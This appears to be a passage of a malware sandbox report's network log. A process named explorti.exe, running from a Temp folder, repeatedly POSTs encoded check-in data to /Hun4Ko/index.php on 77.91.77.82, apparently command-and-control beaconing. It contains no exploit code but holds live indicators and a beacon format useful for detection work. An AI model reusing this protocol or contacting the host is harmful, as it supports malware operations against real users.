Jul 3, 2024 23:59:56.773200989 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:56.989315987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49775	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:57.106923103 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:57.819601059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:57.822853088 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:58.047702074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49776	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:58.169114113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:58.886904955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:58.897330999 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:59.125451088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:59.247519016 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:59.942655087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:59.943630934 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:00.171189070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:00.278839111 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:00.967987061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:00.974210978 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:01.190133095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49779	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:01.309935093 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:02.035501957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:02.036278963 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:02.261713982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49780	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:02.373517990 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:03.106025934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:03.106898069 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:03.335021019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49781	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:03.452752113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:04.155359030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:04.156115055 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:04.374691010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:04.481717110 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:05.184099913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:05.185698986 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:05.527673006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49783	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:05.638847113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:06.343930006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:06.346823931 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:06.572091103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49784	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:06.684849024 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:07.398030996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:07.398652077 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:07.620579958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:07.735321999 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:09.234987020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:09.235743046 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:09.238255024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:09.241208076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:09.455126047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49786	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:09.577914000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:10.280209064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:10.280865908 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
